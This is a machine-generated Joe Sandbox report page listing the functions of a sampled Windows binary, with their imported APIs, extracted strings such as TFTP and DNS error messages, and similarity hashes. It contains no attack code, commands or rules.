Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$_strdupmalloc
String ID:
API String ID: 4236146995-0
Opcode ID: c75352456abeb419cddd3a203c925fb66392ab3e1bfe211039d896eef24929ac
Instruction ID: 4b0db2e49e76ce86251ef1b4cb45db89395bedef05a6aca28c9a0307c3751e46
Opcode Fuzzy Hash: c75352456abeb419cddd3a203c925fb66392ab3e1bfe211039d896eef24929ac
Instruction Fuzzy Hash: 28219262A15B8986EB91DB39955036C63A1EB49B54F480236DE0D0BB64EF38DA90C331

Function 00007FF79B7373E4 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73741F
memcpy.VCRUNTIME140 ref: 00007FF79B737445
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737589

Strings

Start Date: %s, xrefs: 00007FF79B737577
Start Date, xrefs: 00007FF79B73755D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemallocmemcpy
String ID: Start Date: %s$Start Date
API String ID: 3056473165-2389359183
Opcode ID: e73459a0b564e8f99c001fa891434a2e70ff0cfad3f7e01afc9ce51d1bf3eddf
Instruction ID: e400a8d8842120cfdc9fe19153922e960bfb74f1a7834a97cb58ee9aa066615e
Opcode Fuzzy Hash: e73459a0b564e8f99c001fa891434a2e70ff0cfad3f7e01afc9ce51d1bf3eddf
Instruction Fuzzy Hash: 9521D651A0928A51EE39AB3D95042B4A6526F0DBD5F844733CD2D077B1EE3CA3488320

Function 00007FF79B737CB8 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Strings

Signature: %s, xrefs: 00007FF79B7380E7
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$Signature
API String ID: 2190258309-1663925961
Opcode ID: 80d941fe8a2562cfa1d9bd5d0ddd1395d7de46f75ffb7d469e30cae601067e19
Instruction ID: ff99ff76a1b2a331656a7526a90e1b8b4584c604f28d63f012ce3de4881650b6
Opcode Fuzzy Hash: 80d941fe8a2562cfa1d9bd5d0ddd1395d7de46f75ffb7d469e30cae601067e19
Instruction Fuzzy Hash: E0219766A0868A82EA31AB39E4442FAA3A0FF89794F840533DE4D07775DE3CD2458310

Function 00007FF79B737CF6 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B738800: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73884C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Part of subcall function 00007FF79B700240: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292

Strings

Signature: %s, xrefs: 00007FF79B7380E7
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: malloc$free
String ID: Signature: %s$Signature
API String ID: 1480856625-1663925961
Opcode ID: e9065b80354950d0c0a22d29add7bf103f3a31efd183f5bfd048baa5b73aabb4
Instruction ID: eb3d06630c5875ccf98168e1ab8c620f77bdb23884f9d2de95e14afafd20a3ca
Opcode Fuzzy Hash: e9065b80354950d0c0a22d29add7bf103f3a31efd183f5bfd048baa5b73aabb4
Instruction Fuzzy Hash: C1216866B08A8686EA61DB39E4442EAA3A1FF89794F840533DE4D17735DF3CD245C710

Function 00007FF79B737CD0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B73A310: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73A345

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Part of subcall function 00007FF79B700240: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292

Strings

Signature: %s, xrefs: 00007FF79B7380E7
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: malloc$free
String ID: Signature: %s$Signature
API String ID: 1480856625-1663925961
Opcode ID: 351cc430754a4aa9ce224d767375869e203a95fb4cbef21fa980b6650913238a
Instruction ID: 918f311c4c699824dd06219bab90cc61abb26af927374c36d5878133c72d7b33
Opcode Fuzzy Hash: 351cc430754a4aa9ce224d767375869e203a95fb4cbef21fa980b6650913238a
Instruction Fuzzy Hash: 7F216866B08A8686EA61EB39E4442EAA361FF89794F840533DE4D07735DF3CD245C710

Function 00007FF79B6F2C40 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 46stringCOMMON

Download Yara Rule

APIs

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF79B6F2579), ref: 00007FF79B6F2EDF

Strings

Host not found, try again, xrefs: 00007FF79B6F2ED5
Unrecoverable error in call to nameserver, xrefs: 00007FF79B6F2ECC
Host not found, xrefs: 00007FF79B6F2EA8
No data record of requested type, xrefs: 00007FF79B6F2EC3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strncpy
String ID: Host not found$Host not found, try again$No data record of requested type$Unrecoverable error in call to nameserver
API String ID: 3301158039-3625861382
Opcode ID: 87e7efae683d90ae9f7ffd3d2827c118d7d582aa4952cc6e8680895ff73779e2
Instruction ID: f3d758f1f62366730f599e806117797ab7675cec8920fbabe700be9248a4f782
Opcode Fuzzy Hash: 87e7efae683d90ae9f7ffd3d2827c118d7d582aa4952cc6e8680895ff73779e2
Instruction Fuzzy Hash: 51113A52A0C64A40EA38E7BCF55927892A3DF08780FD85131D62E066B4CE6CF7D19A20

Function 00007FF79B6FAC00 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF79B6FB0A3
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF79B6FB0B7
CloseHandle.KERNEL32 ref: 00007FF79B6FB0C4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF79B6FB0E6
closesocket.WS2_32 ref: 00007FF79B6FB104
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF79B6FB11D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: CriticalSectionfree$CloseEnterHandleLeaveclosesocket
String ID:
API String ID: 469868127-0
Opcode ID: b49ded62efcb7a132072073a24107aff30ff1d8ee3c1af8418add5c8f688a3ef
Instruction ID: e716d2b4b44d7ee61a3a9596a798bf50f7e45a6e0610be50356582f740102c4a
Opcode Fuzzy Hash: b49ded62efcb7a132072073a24107aff30ff1d8ee3c1af8418add5c8f688a3ef
Instruction Fuzzy Hash: 1B112E36A08B45C6E620EF26E581229B761FB89B90F544131DF9D03B64CF39F5A18720

Function 00007FF79B7399F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B739A1B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739EBF

Strings

FALSE, xrefs: 00007FF79B739A10
TRUE, xrefs: 00007FF79B739EC9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree
String ID: FALSE$TRUE
API String ID: 1865132094-1412513891
Opcode ID: 18f56905f20e121188a22abea656a85f17a1ee6d051de28b0ad6ada156964aaf
Instruction ID: bf74008b888d1ae8816f12414991d44f07779c6f4c29f0fc39de547cb2c667c5
Opcode Fuzzy Hash: 18f56905f20e121188a22abea656a85f17a1ee6d051de28b0ad6ada156964aaf
Instruction Fuzzy Hash: F641B5E2B0D65D84FF259A7DA41837CA751AB48795F844B33CE5E463F4DE3CA6488220

Function 00007FF79B72BA40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99networkCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF79B72BA81
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF79B72BAC0
WSAGetLastError.WS2_32 ref: 00007FF79B72BB18

Strings

TFTP response timeout, xrefs: 00007FF79B72BADA

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _time64$ErrorLast
String ID: TFTP response timeout
API String ID: 3339832089-3820788777
Opcode ID: de519a69b9098c6e466dff899da05dd99926158094db71a0cd61adfe1146e5af
Instruction ID: 5d0e74595560a0de3d61c184bfdf53bddecead5ca91049cfca5735c0a1fd8209
Opcode Fuzzy Hash: de519a69b9098c6e466dff899da05dd99926158094db71a0cd61adfe1146e5af
Instruction Fuzzy Hash: AE41B236608A4A81E770AF39D4502A9B761EB4CBA4F844333DE2D477F9DE3CD6418760

Function 00007FF79B73948E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B739933
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B739947
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7399AE

Strings

%s%lx, xrefs: 00007FF79B7394F8

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: isupper$free
String ID: %s%lx
API String ID: 573759493-530121141
Opcode ID: 39c509b3edc93c96e80e4a76a6b2e02f8b9962ae2c7a1b9d3d69e33a8fdb0241
Instruction ID: 586a6980acf5523fce553f891649e71268f2e8bdc1a9e9fbe0ed925b0759d444
Opcode Fuzzy Hash: 39c509b3edc93c96e80e4a76a6b2e02f8b9962ae2c7a1b9d3d69e33a8fdb0241
Instruction Fuzzy Hash: 6E31E551A0D59E89FB32AB3CA458378EF929B49745F940733C68F41AB2CE2DD649C330

Function 00007FF79B705AF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B705C15
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B705C30

Strings

..., xrefs: 00007FF79B705B82
..., xrefs: 00007FF79B705B98

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: fwrite
String ID: ...$...
API String ID: 3559309478-2253869979
Opcode ID: ce52080936e4f8e8d2536faf948e6cb61c3c5a059659c50af308800804d1eb0d
Instruction ID: 42690354aaea2422b1347b394d11d6f357e50dd2ac1b451f1cddf552ff0165da
Opcode Fuzzy Hash: ce52080936e4f8e8d2536faf948e6cb61c3c5a059659c50af308800804d1eb0d
Instruction Fuzzy Hash: 8531C421608A8981EB74EF25E8443F9A7A2FB88B94F844233CA5D037B4CF3DE255C750

Function 00007FF79B714130 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B713B69), ref: 00007FF79B7141BD

Strings

Rejected %zu bytes header (max is %d)!, xrefs: 00007FF79B71415B
Failed to alloc memory for big header!, xrefs: 00007FF79B7141C8

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: realloc
String ID: Failed to alloc memory for big header!$Rejected %zu bytes header (max is %d)!
API String ID: 471065373-1365219457
Opcode ID: fd2de4368d3f59bb441b9b1cd9bd76850ec27dc8a676fb8f2278394dc7b74183
Instruction ID: 7fe8bcf901f95458aa418c754229845e922eb4f883ed02226e8eec0426a7dd73
Opcode Fuzzy Hash: fd2de4368d3f59bb441b9b1cd9bd76850ec27dc8a676fb8f2278394dc7b74183
Instruction Fuzzy Hash: EF215E32B08A8986DB14EB29E5802ADA361FB89FC4F444136EF5D03B69CF38D5A1C750

Function 00007FF79B6F4313 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F43A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F43BE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F43DB

Strings

:, xrefs: 00007FF79B6F4396

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdup
String ID: :
API String ID: 2653869212-336475711
Opcode ID: 31519cfa42e057218d48b548fc77e7d7d02da04528d7c751b0ee5b42c6aaaf33
Instruction ID: b216d7e2e4af474f51f5ed2b678f065b0de8ff70d8ae4d57dca94b433587566e
Opcode Fuzzy Hash: 31519cfa42e057218d48b548fc77e7d7d02da04528d7c751b0ee5b42c6aaaf33
Instruction Fuzzy Hash: 70216723609B8985EB759F2AE5413A5B3A1FB44754F884135CF9C43BA4EF3CF6548720

Function 00007FF79B71DEE0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

LIST "%s" *, xrefs: 00007FF79B71DF67
%s%s, xrefs: 00007FF79B71DF13

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: %s%s$LIST "%s" *
API String ID: 0-1744359683
Opcode ID: 9ad9c9c743700dca674b2ef310e13197ed19483ca3184e6ea3a8d7b69f8cecd6
Instruction ID: e1b68f8f1b93ee0f8006b9ded19ff9f9243181532fb31eb04b62572cb3754503
Opcode Fuzzy Hash: 9ad9c9c743700dca674b2ef310e13197ed19483ca3184e6ea3a8d7b69f8cecd6
Instruction Fuzzy Hash: 96117F21B0D64A81EA24EB6DE4401B9A361EF8CBD4F880633EE1D17775DF2CE7458760

Function 00007FF79B6F4498 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F43A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F43BE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F43DB

Strings

:, xrefs: 00007FF79B6F4396

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdup
String ID: :
API String ID: 2653869212-336475711
Opcode ID: 47b69c0bcc2c29523abc69405d14f96bc4afcbee578991499096d4f0677b3899
Instruction ID: 281fc26286a544615d17c19be5d49d19c49affb59bc58ef2529b004d33203648
Opcode Fuzzy Hash: 47b69c0bcc2c29523abc69405d14f96bc4afcbee578991499096d4f0677b3899
Instruction Fuzzy Hash: B6115723609B4985EB759F2AE5413A5B3A1AB44754F884136CFAC437A4EF3CF6548720

Function 00007FF79B72A490 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF79B72A4CD
WSAGetLastError.WS2_32 ref: 00007FF79B72A4D7

Strings

SENT, xrefs: 00007FF79B72A4F2
Sending data failed (%d), xrefs: 00007FF79B72A4DD

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLastsend
String ID: SENT$Sending data failed (%d)
API String ID: 1802528911-3459338696
Opcode ID: 65ff34c0cb6f044c90c2701506629150b7c1ce5c6fa9514c096fbd7930662d26
Instruction ID: 80f699587229b667b6ff2673c87dfa5a9eb7fbce647c9b1430632e3b6bcb54c3
Opcode Fuzzy Hash: 65ff34c0cb6f044c90c2701506629150b7c1ce5c6fa9514c096fbd7930662d26
Instruction Fuzzy Hash: 18019622718A9AC1DB24AB2AE440459BF21FB88FC4B895232CB5D43735DE39D605C750

Function 00007FF79B737161 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B737164
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737589

Part of subcall function 00007FF79B700240: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292

Strings

Start Date: %s, xrefs: 00007FF79B737577
Start Date, xrefs: 00007FF79B73755D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfreemalloc
String ID: Start Date: %s$Start Date
API String ID: 3985033223-2389359183
Opcode ID: 3be07b386cacc7944c59c3374aef9a67a22657f74a4f6992ede528647afe8043
Instruction ID: ab0a3b15168d4e24767df259d16e89e1d6f3bf2b2b0b018f909eb99b915f4e24
Opcode Fuzzy Hash: 3be07b386cacc7944c59c3374aef9a67a22657f74a4f6992ede528647afe8043
Instruction Fuzzy Hash: 92018891A0D38A51EB39AB3CA4545B5A753AF0DB95FC84A37C91E06272DF3CA7488331

Function 00007FF79B712090 Relevance: 6.3, APIs: 5, Instructions: 82stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF79B7120F4
strchr.VCRUNTIME140 ref: 00007FF79B712107
strchr.VCRUNTIME140 ref: 00007FF79B712119
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71214B
memcpy.VCRUNTIME140 ref: 00007FF79B712175

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$mallocmemcpy
String ID:
API String ID: 320687583-0
Opcode ID: b21713abedf53e94ceb737acc43def902bdbf09230bbcfd22c0860dc6f8a36b7
Instruction ID: 91422d00a35039a2a85acab8049e0244a83a4e02ad944e88bcbfa2ef0418a58e
Opcode Fuzzy Hash: b21713abedf53e94ceb737acc43def902bdbf09230bbcfd22c0860dc6f8a36b7
Instruction Fuzzy Hash: E221E91160D69A41EE65EB3951102BDE6D29F89BC8F8C4232DE4D077F6EE1CD646C230

Function 00007FF79B734290 Relevance: 6.3, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

